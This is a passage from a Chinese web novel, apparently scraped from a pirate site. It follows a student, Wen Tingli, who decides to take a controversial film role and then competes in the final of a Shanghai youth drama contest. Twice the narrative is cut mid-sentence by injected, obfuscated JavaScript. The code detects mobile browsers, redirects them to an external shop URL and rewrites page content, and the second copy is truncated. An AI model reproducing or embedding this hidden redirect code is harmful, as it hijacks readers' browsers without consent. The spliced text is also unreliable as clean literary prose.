闻亭丽一哼:“我生怕黄姐关照我呢!我可是要凭自己实力胜出的,不够公平我才不要参加。” 黄远山大笑着敲了敲车窗:“麒光,你听听,你听听,我就说闻小姐这人有意思吧。难怪杏初他——” 她话声一刹。 孟麒光没吭声,低头擦亮一根洋火欲要点烟,余光瞥了眼一旁的黄远山和闻亭丽,又把烟扔回烟盒。 黄远山尴尬地搓了搓手,随手抄起孟麒光膝盖上的那本阔书。 “《南国佳人》的剧本我带来了,趁着这两月还没开拍,闻小姐你自己先看看,我呢,还得去张罗话剧比赛的场地,今天就先说到这儿吧。” 她将剧本塞给闻亭丽,自己回身拉开洋车的车门。 孟麒光望着闻亭丽手中的剧本仿佛想说些什么,最终却什么也没说。 闻亭丽回身进了校门,路上想起孟麒光那奇怪的表情,忍不住翻开剧本。 剧本题目是《南国佳人》。 不看不打紧,一看眉头就紧紧地皱了起来。 主角的确像黄远山所说的那样是个女中学生,但女主角没多久因为种种变故被迫做了妓-女。 一惊之下,闻亭丽“啪”地一声合上剧本,她有点不能接受,毕竟她还只是一个学生。 黄远山的电影那样卖座,真要是出演了这样的角色,日后无论她走到何处,人们都会把她和妓-女联想到一块儿的,经历过母亲那件事,她已经相当清楚当今社会在看待这类苦人时有多么刻薄。 ……如果她演这个……不不不,她不能冒这个险。 她还要上大学,她还要考医科,她以后还要像邓毅院长那样做一位妙手仁心的大夫呢。 要不是上课铃响了,闻亭丽几乎立刻要冲出去找黄远山。 然而,回到课室冷静地一想,她才意识到拒演是行不通的了。 黄远山之所以张罗这场话剧比赛,一半是采纳了她那天的提议,一半是为了让她答应演出他的电影。 为这事,黄远山几乎动用自己的社会人脉,如今比赛已经张罗起来了,她却拒绝参演她的本子,到时候黄远山会是什么反应,她简直无法想象。 恐怕,不管她愿不愿意,这个角色她都演定了。 傍晚下了课,闻亭丽往慈心医院赶,刚到医院门口,不提防看见邓院长。 邓院长似是刚从车上下来,右手拎着一个黑色的公文包。 她的左手边,站着一位时髦的贵太太,正是乔太太,乔太太拉着邓院长的手,语气亲昵:“您是我们乔家的老朋友,犬子结婚,当然该亲自过来给您送请帖。” 望见闻亭丽过来,乔太太笑容一滞,不动声色扫了扫闻亭丽身上的务实校服,冷冷笑了下,重新对邓院长绽放笑容。 “就在大华酒店,婚礼是西式的,请了美国使馆大使和上海商埠会长做证婚人,暂定两百桌。考虑到宾客们的口味各有不同,莉芸定了中法美三套菜单,杏初也没闲着,这些日子帮莉芸选婚纱、挑婚戒、定婚鞋,忙得团团转,就连婚礼上的捧花都特意选的莉芸最喜欢的百合……这孩子,现在满心满眼都是莉芸,也对,光是莉芸骨子里的那份教养,就绝不是外头那些不三不四的东西能比的。” 闻亭丽心中一嗤,佯装跟邓院长不熟,目不斜视从她们身边走过。 *** 一到病房才知道,邓院长白天又给父亲调换了用药方案,傍晚父亲在护工和周嫂的照顾下喝了点粥,精神头大见好转。 周嫂对闻亭丽说:“这位邓院长可真是细心喔!早上过来查房的时候亲自检查每一处伤口,哪一块敷料换得不及时她一眼就能看出来,先生某些指标有变化,她比那位管床的汤普生大夫还记得牢。” 护工在旁搭腔:“邓院长一贯如此的。先前我们一个同乡被机器轧断了脚趾头,送到到慈心医院的时候伤口都烂了,那个味道哟,冲得满病房都是,还不是邓院长亲自给上的药。” 闻亭丽一边竖着耳朵听,一边察看父亲的面色,吃完饭便催周嫂带小桃子回家睡觉,她自己留下来看书。 捱到九点钟,她让护工照料父亲,自己出去买了一份宵夜去寻邓院长。夜晚的医院比白日安静许多,寻到四楼那间办公室门前,忽然听到门内传来低低的说话声。 看样子,邓院长处有别的客人,她悄然转身离去,门却从里面开了。 “谁?”一位身穿粗布旗袍的中年女人立在门内谨慎地往外看。 闻亭丽微讶止步:“我是病人家属,来找邓院长询问我父亲的情况。” 就听邓院长在房内应声:“喔,是小闻,成英,让她进来吧。” 这位叫成英的女子把门拉开一点:“闻小姐,请进。” 等到闻亭丽走进去,成英已拎着一个公文包准备出来:“那我就先告辞了,邓院长,您早点休息。” 这女子装扮和相貌上都没什么出奇,但眼神敏锐清亮,身姿笔直如松,令人倍生好感。 女子一出来,就主动跟闻亭丽握手:“你好。”言语亲切,仿佛认识她似的。 闻亭丽纳闷地笑着跟她握了握手:“您认识我吗?” 成英笑而不答,走时不忘把门重新掩上。闻亭丽把宵夜搁到邓院长的办公桌上。 “院长,刚才那是谁?” “一位奇女子,将来有机会我会正式介绍你们认识的。” 闻亭丽知趣地不再追问:“今天给您换个口味:鸽蛋圆子和绿豆百合汤。圆子里有薄荷糖,百合是安神的,您白日工作太劳累,喝点百合汤晚上睡得香些。您还要忙吧,要不我就不打搅您办公了。” “不,你坐下,我有话要对你说。” 闻亭丽高高兴兴坐到沙发上:“您要对我说什么?” “乔杏初和白莉芸这个周末举行婚礼。”邓毅略一沉吟,一指桌上的请帖,“我想你已经知道了。” 闻亭丽淡淡“嗯”了一声。 “乔太太的话,你听了难不难受?”邓毅意味深长地注视着闻亭丽。 “我才不难受,我反倒觉得她很可怜。” “喔?”邓毅微笑,“你为什么觉得她可怜?” “据说乔太太也是受过教育的。”闻亭丽朗朗地说,“可她现在却变成了这幅尖酸刻薄的模样,看看她女儿乔宝心,我相信乔太太当年也曾经可爱过,但这些年来,全被那个封建大家庭和她丈夫磨没了,丈夫屡屡投资失败,她也跟着遭殃,为了重新赢回老太爷对长房的信任,只能将翻盘的希望寄托在儿女的婚姻上,把自己弄得张牙舞爪的,其实内里虚得很,否则她何须这样在意我一个毫无威胁力的小姑娘,实在是可笑又可怜。” 邓毅半天没作声,闻亭丽悄悄瞥了邓毅一眼:“您是不是觉得我的想法有点幼稚?” “不,我很高兴你能会在这个问题上有自己的思考。” 她含笑顿了顿,乔太太思想上的局限,牵涉到很复杂的社会问题,等这孩子日后多接触一些进步思潮,想法自然会更深刻。 于是和蔼地转换话题:“今晚我找你来,是有好几桩事要跟你聊,头一件,昨天我跟白莉芸谈过了。” 闻亭丽神色一紧。 邓毅抬手往下压了压:“别紧张。谈话很短,也很含蓄,不必担心会传到乔太太耳朵里。我知道你一直很想提醒莉芸这桩婚事的风险,碍于自己的立场才没法明言,而我既然知道了这件事,自然也想站在旁观者的角度劝劝白莉芸,没想到的是,莉芸从头到尾非常清醒。 “她告诉我:她很清楚乔杏初不爱她,但这件婚事涉及到两家的利益,她作为白家的长女没有抗争的余地,她已经把利弊都权衡得很清楚,她知道自己在做什么。” 闻亭丽哑然。 “莉芸很聪明。”邓毅喟叹,“她不是没有预估到风险,但她情愿为此承受一些代价,作为外人,我们无权替她做任何决定。” “也好。既然她清楚自己在做什么,那我就不用冒着被乔太太打死的风险提醒她了,省得两头落不着好。” 邓毅忍俊不禁。 “此外,这两天我帮你联系了一些法律界的朋友。”她欠身将一张名片递给闻亭丽,“这是上海曙光律师事务所的包亚明律师(注),我把你父亲的事告诉他了,他愿意帮忙。” 闻亭丽一震,这位包律师当年在美利坚获得法律学博士学位,回国后独立开了一家律师事务所,因为打赢了好几起轰动沪上的官司,一时间名声大噪,但听说他收费很昂,要不是看在邓院长的面子上,未必肯接她们这种老百姓的案子。 邓毅给她一个宽慰的眼神:“费用问题不必担心,包亚明是我的老朋友,这点忙他还是肯帮的。 过几日我可能要去北平开会,有什么事的话,直接给曙光律师事务所打电话,他们在本地还是很有威望的,白龙帮也得忌惮三分。” 闻亭丽捧着那张名片低头默然良久:“谢谢您。” 邓院长不动声色转移话题,端起那碗鸽蛋圆子喝一口,赞不绝口:“唔,味道真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928439|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不错,哪家店买的?” “阿关甜水铺。”闻亭丽精神一振,忙跑到一旁的盥洗室拧帕子,“老板是广东人,我跟他们很熟的,您要是爱吃,我每天给您买,帕子给您,当心黏手。” 邓毅被这孩子甜蜜欢快的笑容打动,慈爱地说:“你在务实也读了几天书了,可还适应?” “适应!再适应不过了!”闻亭丽拍拍自己胸脯,“同学和先生都待我非常友好,功课也跟得上。” 她已经决定往后在邓院长面前报喜不报忧,邓院长老是不计回报地帮助他们,她怎肯再因为米歇尔刁难她这种小事麻烦人家,想了想又道:“只是——有件事我想征询征询您的意见。” 说着从书包里取出剧本:“黄远山导演想请我拍电影,可我看了剧本才知道,主角是一个可怜的妓-女,我现在有些拿不定主意,想听听您的看法。” “你担心演了这样的角色会给自己带来不好的影响?” 闻亭丽苦恼地点点头:“黄小姐说等我参加完八月底的联考再开拍,但我紧接着还要上大学,我不知道学校里的先生和同学知道我演过这类角色之后,会怎样看我。您知道的,当今社会仍对妓-女和演员都存在着很深的偏见。” “我先看看剧本,咦,月照云?” “您认识这位女作家?” “我在北平见过她。”邓毅扶了扶镜框,“她是一位非常幽默可爱又富有才华的女士。她很有想法,笔锋很健,如果这剧本是她写的,我想这绝不只是一个浅薄的描风弄月的故事,多半还有一些社会意义。” “您的意思是,您支持我演?” 邓毅抬眼,这孩子正紧张地注视着她,俨然十分重视她的意见。 “据我所知,演员里不乏思想进步的青年。”她换了更柔和的语气,“至少我,是绝对不会歧视演员这个行当的,最近沪上涌现了一批新式电影,思想深刻,振聋发聩,很能代表进步思潮,如果你能将主角的苦难演绎到位,对社会的黑暗面起到的抨击效用也许会比你自己想的还要大,你作为演员,也会受益良多。你若是询问我的意见,我支持你演。” 闻亭丽目光一定,想了想说:“我会好好考虑您的意见的。” 抬头看了看墙上的西洋钟:“呀,都十点钟了,我一跟您聊天就忘形,又打搅您工作了。” 她急急起身拾掇桌上的食盒,邓毅笑着端起另一碗绿豆汤:“你倒是等我喝完这碗汤再收走。” 闻亭丽噗嗤一笑,耐心地在旁边递帕子递茶,头一次意识到灯下的这位老人十分孤独。 听人说,邓院长本姓周,原是江南一位富绅的女儿,家中还有个哥哥在北平做大官。 早年间,邓院长去英国留洋,苦读数年,获得医学博士学位,一回国就进了红十字会医院工作。 可就在这时候,邓院长不知何故突然与家中决裂,从此改姓邓,不久更以“邓毅”之名开了一家独立诊所,因她医术精湛,很快在本埠声名鹊起,之后又经过数十年的不懈努力,才有了这家闻名遐迩的“慈心”。 提到邓院长,除了她的品格和医术,坊间最津津乐道的,莫过于邓院长终身未婚了,这在许多人看来,是一件惊世骇俗的事。 正想着,邓毅已然喝完了一碗绿豆汤,精神矍铄拿起桌上的资料:“好了,这下我有精力多看一份文件了。” 闻亭丽在心里嘲笑自己,刚才她怎会一厢情愿地觉得邓院长“孤独”,老人的这双眼睛看过世间的所有苦痛和不平,早已修炼出一个宽广坚韧的内心世界。 “我走了。”她抱起那个食盒蹑手蹑脚朝外走。 “电影的事你想好了?” “对,我已经有主意了。” *** 十点一过,病房准时熄灯,闻亭丽刚摸回父亲的病房,护工就迎上来悄声说:“刚才有个女孩打电话说有急事找闻小姐,让闻小姐务必回这个号码。” 闻亭丽料定是秀德的某位老同学打来的,忙接过纸条,但那号码十分陌生。她去护士站借电话,护士们早跟闻亭丽熟了,很爽快地答应了。 拨通电话,那头却是个男人:“喂。” “我是闻亭丽,请问刚才谁找我。” 那人笑着说:“闻小姐,我是小高,孟先生有事找你。” 闻亭丽惊讶地看向墙上的钟,这么晚。 “请问是什么事?” “闻小姐出来就知道了。”像是压根没考虑过闻亭丽会拒绝孟麒光,小高很干脆地挂断了电话。 闻亭丽举着话筒愣神,孟麒光前后帮过她好几次,不理人家好像有些说不过去,于是回房拿了一个德国手电筒,轻手轻脚出了病房。 刚走到医院门口,对街的暗影中开过来一辆黑色的汽车,闻亭丽朝车窗里探了探:“孟先生。” 孟麒光推门下车,吩咐小高:“把车开到那边去,我在路边跟闻小姐说几句话就走。” 两个人在街边相对而立。今夜无风无月,一盏银白色路灯恰照在二人头顶。 孟麒光插着裤兜看了看四周的景致,很随意地望她一眼:“想必闻小姐已经看过黄远山给你的剧本了?” 闻亭丽点点头。 “黄远山是个影痴,但也不是顽固不化,如果你实在不想接那样的角色,我替你跟她说,不就是一场话剧比赛么,也没什么大不了的。” 闻亭丽忽觉嗓间有些干痒,忙把头转向一边。 她再迟钝也明白过来了。 这样的小事,值得他大半夜专程跑一趟么? 关键这一切做得如此自然,让人一开始察觉不到他的用心。 什么乔杏初,什么受人所托…… 这个人当真是深不可测。 她的心怦怦直跳,事到如今,她只庆幸自己今晚去找了邓院长,在征询过她老人家的看法后,她对演戏的事有了全然不同的看法。 换作一个小时前,她说不定真会向孟麒光求助,那样的话,她又会欠下他一份大人情。 显然,孟麒光绝不是一个善心泛滥的人。 承了他的情,将来是要还的。 她一无所有,拿什么还他? 孟麒光半晌没等到闻亭丽的回答,瞥她一眼:“想演么?不想演的话,没人能逼你演。” 闻亭丽把头低下去:“谢谢孟先生的好意,但我已经决定演了。” 这话一出口,四下里出奇地静。 有那么一瞬间,闻亭丽能感觉自己整个人被孟麒光牢牢控制在静止的凝视中,四周的空气也变得黏滞起来。 她有点顶不住他的目光,连呼吸都变得小心翼翼。 但她打定主意不松口。 没想到,他很快便若无其事开腔:“闻小姐既然有了主意,那我就不必多事了。” 他的语气听不出半点不自在。闻亭丽大松一口气,忙抬头笑道:“但我还是要谢谢孟先生,您这样肯帮忙。” 孟麒光走下台阶对着街角吹了一声口哨,小高驾着车回来了。 “天色晚,闻小姐进去吧。”孟麒光坐上车。 闻亭丽退开两步,对孟麒光挥了挥手:“孟先生再会。” 她转身跑进医院大门,又向前走了好一段,才听到马路对面汽车发动的声音。 闻亭丽用手捂住自己的胸口,微怔着长吁一口气。 15.第 15 章 隔几天,学校果然通知话剧社的成员报名参加 “沪上青年学生话剧大赛”。 消息传来时,闻亭丽正跟燕珍珍坐在台下看同学们排练《仲夏夜之梦》。 “亭丽,你会参加吧?”燕珍珍怼怼闻亭丽的胳膊。 “她不参加谁参加?”话剧社的几个团员在台上笑着接话,“她还在秀德的时候我们赵社长就对她眼馋得不得了,如今她自己投奔我们务实来了,不帮我们赢个头奖回来说得过去吗?” “你们先别忙着高兴,据说米歇尔校长一开始极力反对务实送学生参赛,后来得知陆小先生在推荐表上签了字,这才没话讲。不过她好像还没死心,刚才我去艺术部领资料的时候,看看她老人家在那里亲自拟定参赛名单呢。” “她来拟名单?”燕珍珍莫名其妙,“她又不懂话剧,任她乱选的话,说不定连一个名次都赢不回来。郑主任是主管艺术部的,难道她也同意米歇尔校长胡来?” “郑主任当然是不赞成的,但谁叫邹校长还没回来呢,现在校内一切事务由米歇尔全权负责,郑主任也拿她没办法。”那位同学话锋一转,“不过我走的时候,碰巧有几所同盟学校的艺术部负责人过来参观,听他们说,慧珍中学的乐知文和沪江中学的徐维安也会参加这次比赛,米歇尔听见这个,突然就不提要亲自拟定名单的话了。” 此话一出,礼堂里诡异地一静。 陈晓虹原本捧着一本书看得津津有味,察觉四周不对,迟钝地抬头:“怎么了?” “你没听见吗?乐知文和徐维安也要参赛诶!” “他们是谁?” “陈晓虹你你你……”燕珍珍捶了捶桌,“你除了念书是不是从来不关心别的?我们学校有好多人都是徐维安的影迷。这个人才十七岁就参演了《虹》和《香山剑客传奇》,报纸上每回提到他都说他是电影天才。” “乐知文呢? “乐知文就更了不起了。”话剧社的社长赵青萝在台上接过话头,“她是著名童星,她爸爸是大导演乐常。乐知文三岁就开始演电影了,即使你说不出她的名字,也一定记得她演过的那些角色,《大文魁闹学记》看过吧?她就是里面的小冬瓜。” “是她!”这回陈晓虹终于有印象了,“我记得我记得,那个跟年画娃娃一样可爱的小姑娘。” “完了完了。”话剧社的人面面相觑,“他们俩都那样有名气了,这场比赛既有他们,我们还去凑什么热闹。” 赵青萝在台上说:“喂喂,你们这是干嘛呢?比赛还没开始,自己就先打退堂鼓了?” 可惜她的鼓舞没起到任何效用,底下仍是哀声一片,赵青萝索性叉着腰大声说:“退一万步说,就算前两名被乐知文和徐维安瓜分了,我们不是还可以力争第三吗?” 闻亭丽在底下没吱声,她才不稀罕什么第三名,她可是奔着第一名去的。 不得第一,她就拿不了“育英奖学金”,不拿“育英奖学金”,米歇尔就有借口不同意她以务实的学籍参加大学联考。 赵青萝跳下舞台推了推闻亭丽的肩膀:“发什么呆,别告诉我你也被吓到了。” 闻亭丽一拍桌:“我会被吓到吗?走,先去艺术部打听打听比赛规则再说。” 大伙哄堂大笑。两个女孩互相打着气赶到艺术部主任办公门前,往里一觑,办公室里坐着不少人,有男有女,老少不一,料着是其他同盟学校艺术部的负责人,米歇尔校长也在。 “李主任,你们沪江中学既然有徐维安参赛,可以提前预定庆祝的香槟了。” 那人谦虚地摆手:“哎哎哎,别这么说,慧珍不是还有大名鼎鼎的乐知文同学嘛,连我母亲都是乐知文的影迷呢。” 米歇尔虽未插言,但看得出她这会儿兴致很不错。 郑主任一眼瞟见门口的赵青萝和闻亭丽:“你们俩是为了这次话剧比赛来的吧?快进来。” 闻亭丽甜甜地笑:“我们想向郑主任了解一下比赛规则。” 郑主任转头用征询的口吻问米歇尔:“米校长,名单的问题您看——” 米歇尔睨了睨闻亭丽,露出微妙的笑容:“虽说这次比赛有两位神童参加,但作为副校长,不想提前打击我校学生的积极性,这样吧,凡是对话剧有兴趣的学生都可以报名参加。” 郑主任似乎吁了口气:“那就没问题了。赵青萝,你先把告示贴到布告栏上,让同学们自由报名,星期五之前务必把名单交上来,这是比赛规则,你和闻亭丽回去好好看一看。” 她似乎还想加些鼓励的话,回头看见沪江和慧珍的那两位先生,最终只沉默地拍了拍她们俩的肩膀。 回到礼堂,赵青萝和闻亭丽把话剧社的成员召到一起研究比赛规则。 “初试定在下礼拜一,先选出一百名参加复赛,复赛再淘汰八十人,最后再从这二十人里选出十人,来角逐最后的冠亚季军。” 闻亭丽接过话头:“评委么,也是十人,由各大电影公司的制片人、上海电影协会副会长、以及各中学的校董轮流担任,每比完一场,便会重新抓阄决定下一轮的评委,以此来保证比赛的公正。” 尽管对获奖不抱任何希望,学校里报名的人数却空前的多,一问,都是奔着近距离接触徐维安和乐知文去的,就算未必能拿奖,但只要一想到能在比赛现场亲眼看到两个明星,同学们就都说不出的兴奋。 这日起,每天傍晚放学后,就有无数的同学嘻嘻哈哈跑到大礼堂来排练,学校话剧社也因此迎来了建社后最繁盛的时期。 有的练唱歌,有的表演舞蹈,还有一个同学上来就是一套眼花缭乱的剑法,那飘逸奇绝的身法,惹得同学们连连惊呼。据这位同学自己说,她祖母早年在武当山学了好几年武功,这套剑法就是祖母亲自教她的。 剩下的同学,以燕珍珍为首,全程坐在底下嗑瓜子看热闹,看谁表演得好,就拼命鼓掌,有时还跑到台上献花和捣乱,一到傍晚,小礼堂里都欢笑声不断。 这晚趁着中场休息,赵青萝走到台上拍掌,示意同学们安静。 “明天就是初赛了,我和闻亭丽有些话想嘱咐大家,闻亭丽,你别在那里跟燕珍珍吃零嘴,你倒是说说。” 闻亭丽忙用帕子拭净手面,起身正了正脸色说:“初试人数那么多,每个人的时间只有三分钟,要想在那么短的时间内给评委留下深刻的印象,最好前面别搞太冗长的前奏。董元元,剑法之前不要扎马步,直接把你最潇洒的那三招‘猛虎下山’亮出来。 “柳小曼,我和赵青萝都觉得你唱《茉莉花》更娴熟,比赛的时候本来就容易紧张,要不你就别挑战那首不太熟的《满江红》了。 “程思,全市好像只有你是表演花鼓的,这本身就是一大亮点了,你不妨直接去掉那段冗长的英文自我介绍,直接进入正题。总之,我和赵青萝总结了三条建议:开门见山、表演自己最熟悉的节目、对自己充满信心。” 大家都心悦诚服点头。赵青萝笑着对踌躇满志的伙伴们说,“今晚大家早点休息。明天放学后我们在大礼堂集合,随便吃点面包牛奶,就直接赶到黄金戏院去。” 第一轮初试很快比完了,务实的学生仅有十三个人入选。 第二轮复赛又淘汰了七个。 到最后一轮决赛时,只剩下闻亭丽和赵青萝了。 尽管如此,晚上的礼堂依旧热闹非凡,自己被淘汰,却盼着同学能代表务实杀进最终的决赛,有的学生因为太关注赛事,甚至把功课带到大礼堂来做,而成功进入决赛的闻亭丽和赵青萝,更是每晚都辛辛苦苦排练到九点半再走。 *** 决赛这天,艺术部的郑主任亲自赶来加油,为了帮两个学生备赛,她提前就从戏班子雇了一个会化妆的师傅,又向新民戏院借了几套服装。 伙伴们挤在旁边看闻亭丽和赵青萝试妆,有人说:“今晚总能见到乐知文和徐维安了吧?前几次比赛人那么多,我都不知道他们演的什么节目。” “看不到的。凭他们两个现在的名气,出入都有保镖相护,比赛完估计直接从后台走。” “听说因为有他们两个参赛,这场比赛被各大报纸炒得如火如荼,黄金影院的门票都炒到一块大洋一张了。”(注) 一说到这个,赵青萝就紧张地捂住胸口深呼吸:“怎么办,那么多人看我比赛,万一发挥不好,岂不是要在成千上万人面前丢脸?” “想那么多做什么,能进入决赛已经很优秀了。”郑主任拍了拍赵青萝的肩,“不论你和闻亭丽最终赢得什么名次,老师都为你们感到光荣。” 梳妆完毕,师生们浩浩荡荡出发去黄金影院。 入夜,黄金影院门前亮起了霓虹灯,街上人头攒动,一眼望去全是年轻面孔,汽笛声、叫卖声、音乐声、交谈声交织在一起,敲打着每个人的鼓膜。 突然有人兴奋地大喊:“乐知文!快看!那是乐知文!” 一辆白色的洋车款款朝影院门口开过来,车一停,一个俏丽的身影出现前众人眼前,可没等大家凑上去,就有几位壮汉掩护着乐知文闪身进了剧院大门。 即便如此,人们仍兴高采烈踮脚张望,又听那边嚷道:“徐维安!徐维安也来了!”(注) 这时节,务实中学的公车也到了附近,只不过被卡在街角动弹不得,郑主任唯恐迟到,干脆带领学生们直接从车上下来,朝剧院走过去,一路专挑人少的地方钻,费了老半天劲才护着她们挤到黄金影院的门口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942709|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >进去之后,闻亭丽陡然觉得空气一凉,过去她也去沪上的高档饭店吃过饭,心知这是所谓的冷气(注)。 后台化妆间更是蔚为壮观,数十张梳妆镜台,一排排亮起的灯泡,堆积如山的脂粉,数不尽的工具箱,每个镜台前都配有海棠红高背沙发,所有工作人员都在紧张而有序地忙碌着。 “你们是今晚来参加决赛的吧。”一位穿蓝长褂的中年男子带着几个年轻场记快步迎过来,“鄙姓兆,请随我来。” 又问郑主任说:“阁下是务实中学的老师吧?请留步,此次比赛是十分严格的,请您全程在外头等。” 郑主任只得停下来,举起拳头给闻亭丽和赵青萝拼命打气:“别紧张,排练了这么久,绝对没问题的!” 两人惴惴告别郑主任,随那位兆先生进了另一间化妆室。 进入决赛的学生一共有十个,这时节已经有五六个人在里头等着了。其中两人是闻亭丽秀德的老同学,但她们显然也紧张得不得了,看见闻亭丽,都不敢大声跟她打招呼。 上首坐着两名穿西装的中年人,每进来一位选手,这两人都会拿着报名表上的相片与本人进行核对。 闻亭丽同赵青萝刚在椅子上坐下,走廊上便传来一阵喧闹声,往外看,一群人众星捧月似的拥着一个人走过,后头还有几个人殷勤跟随。 闻亭丽因为离门口很近,恰巧看见了那人的侧脸,那俊逸的眉眼,精致得像山间的清泉似的。 她怔住,陆世澄?!他不是已经动身去南洋了吗?怎会突然出现在这里。 房间里的人也悚然动容。 “那不是南洋鸿业那位陆公子?” “对啊,别忘了陆家是这次比赛的大股东,要不是陆公子带头签字,这场比赛的声势也不会搞得这样盛大,黄导演为了向他表达谢意,再三请他光临现场,可惜陆公子并不感兴趣,最后还是刘老板亲自出面邀请,他才答应过来观赛,听说只过来露个面就要走。” “还不快出去打声招呼。”以兆经理为首,屋里的工作人员一窝蜂全出去了。 剩下学生们在房间里面面相觑。 安静片刻,外头再次喧腾起来。这回被人簇拥着进来的是个小姑娘,只见她身穿一袭长袖的银灰色长裙,头戴同色的珠冠,一张精致的小鹅蛋脸,眼睛灵活得像会说话。 屋里的人一凛。乐知文竟比荧幕里还要漂亮。 兆先生亲自陪着乐知文进来,躬身帮她把座椅拉开,又亲自去沏茶,别人可没这待遇。 乐知文是出了名的不爱笑,但她完全没有明星架子,进来后先冲屋里众选手礼貌地欠了欠身,兆经理给她递茶时,她也不忘柔声说:“谢谢。” 她的声线极为干净,一听就知道平日很注重保养,接下便含着一口茶闭眼出神,似在为接下来的比赛酝酿情绪。 闻亭丽一眼不眨望着乐知文,她是第一次近距离观察这样的电影明星,内心受到了很大的冲击。 名气?关注度?总之有一种无形的东西,让她骨子里有什么东西在蠢蠢欲动,稍后才意识到,那是她骨子里的野心在苏醒。 原来这就是大明星的风范,平生第一次,她对演电影产生了强烈的向往。 乐知文落座后,另一位少年明星徐维安仍迟迟未到场,眼看比赛时间快到了,兆经理急得团团转,这时外头终于传来说笑声,一大帮人拥着一个少年男子进来了。 这人有一张英俊的小圆脸,皮肤有些黑,进来后一双眼睛滴溜溜在乐知文转了一圈,没好气地说:“我不是早说过了,我不要坐在乐知文身边。” 乐知文理都不理,剧院的人只好把提前为徐维安准备的椅子搬到另一边:“徐先生坐这边。” 徐维安这才肯大剌剌往椅子上一坐:“抱歉,劳各位久等了。” 说完这话,他自顾自从衣兜里掏出一个小本子,专心致志对着灯翻看。 在座的人都看得出这两人在暗中较劲,就连屋内屋外的工作人员,也把全副心神放在乐知文和徐维安身上,全程几乎少有人关照其他选手。 时间一到,兆先生殷殷叮嘱:“比赛的规则各位应该都清楚了,每人一段二十分钟的即兴表演,选手们自行抽签决定题目,评委们已经陆续入席了,马上就要开始正式比赛了。” 又说道:“黄大导演请来了各家报社的记者到场,今晚会场里有上千人观赛,明天一早,全上海的报纸都会报道这场赛事,各位选手务必拿出最好的状态来应赛。” 赵青萝早已紧张得头晕目眩,闻亭丽悄悄攥紧赵青萝的手,一颗心几乎要从嗓子里蹦出来。 但她不是紧张,而是激动,耳边仿佛有战鼓声响起。 强敌在前,她蓄势待发。 16.第 16 章 剧院特将抽签箱设在舞台中央。 选手们登台之后,需将自己抓到的号码牌展示给台下的评委和观众们看,以此来彰显比赛的每一个环节的公正和客观。 宣读完决赛规则,兆先生将全体选手领到舞台侧方静候台上的指令,趁此间隙,闻亭丽悄悄透过猩红厚帘的空隙向外看。 如兆经理所说,全场一千多个席位,竟是座无虚席。 只一眼,她便体会到了一种排山倒海的压迫感,那四面八方射过来的目光,几乎要把人溺死在舞台上,她喉咙有点发干,悄然攥紧了拳头。 评委们坐在第一排,黄远山作为比赛的发起人并未担任评委,此刻正兴致高昂地在台下招呼电影协会的两位会长。 往下看,又看到了第二排的米歇尔校长,她是代表务实中学来的,所以坐在前列。 米歇尔身边则是各大中学的校长、各电影公司的制片人、以及沪上某些著名文艺协会的负责人。 忽听台上说:“让我们有请今晚的十名选手轮流上台抽签。” 选手们的呼吸不约而同都粗重了几分。台下却是掌声雷动。闻亭丽第五个上台。 一上去,一道雪白的光柱就朝她打过来,放眼望去,观众席犹如一座浩瀚无垠的汪洋,每一道从台下投过来的目光都像是一朵浪花,汇聚成在一起,形成了汹汹的巨大浪潮,相形之下,舞台上的演员如同搁浅在沙滩上的鱼,渺小、干涸、无所遁形。 闻亭丽在全场的注视下抽出一块号码牌。 主持人是一位梳着中分头的滑稽戏演员,对着台下高声说:“闻同学,请向大家展示你抽到的号码。” 闻亭丽怡然转向观众席。 “十号。”主持人接过号码牌高高地展示一圈,又对第一排的评委说道,“请林会长宣读对应的十号剧本。” “剧目是《孤儿寡母》。” 原来每个号码牌都对应着男女演员两套剧本。闻亭丽是女选手,按照十号(女演员)剧本,她将扮演一位名叫阿香的女佣。 剧本里,阿香的丈夫两年前随同乡到南洋谋生,独留阿香一个人在沪照顾女儿,第一年丈夫偶尔会寄钱回家,之后便彻底失去了音讯。 这一年冬天格外的冷,女儿患上了肺炎,阿香为给孩子治病花光了手头的全部积蓄,又因带孩子看病耽误上工被主家开除。 女儿仍在发烧,阿香抱着女儿无处可去,忽在街上看到一个肖似她丈夫王金生的男子,男人提着一个皮箱,似是刚下火车,阿香起初不敢相认,毕竟男子装扮十分阔绰,没想到她一喊,男子就应声回头,阿香抱着女儿向丈夫奔去,近了才发现,丈夫身后还站着一位年轻的女郎…… 林会长当众朗读完剧本:“请选手自行设计台词和肢体语言。” 观众席上发出一阵不小的骚动。 这场戏一听就不好演,先是大苦,继而大喜,旋即希望又落空,别说一个小姑娘,连经验老道的演员都未必驾驭得了。 关键这十套剧本都是黄金影业公司请编剧新编撰的,目的就是防止选手们从已上映的影片中借鉴到前辈们的表演经验。 没有蓝本,一切都要靠选手自己临场发挥。 闻亭丽在脑海中默诵剧本。黄远山在台下抱着胳膊望着台上的闻亭丽,眼神中充满期许,自己发掘的这个新人究竟能不能挑大梁,稍后就能见分晓了。 “接下来,让我们有请沪江中学的徐维安同学上台抽签。” 全场轰动。一片炙热的声浪中,徐维安自信满满迈上台,上台后先是朝台下笑着一鞠躬,接着在全场观众殷切的注视下,抽了一个“七”出来。 “选手请听好了,七号剧本的题目是《最贫穷的富翁》。” 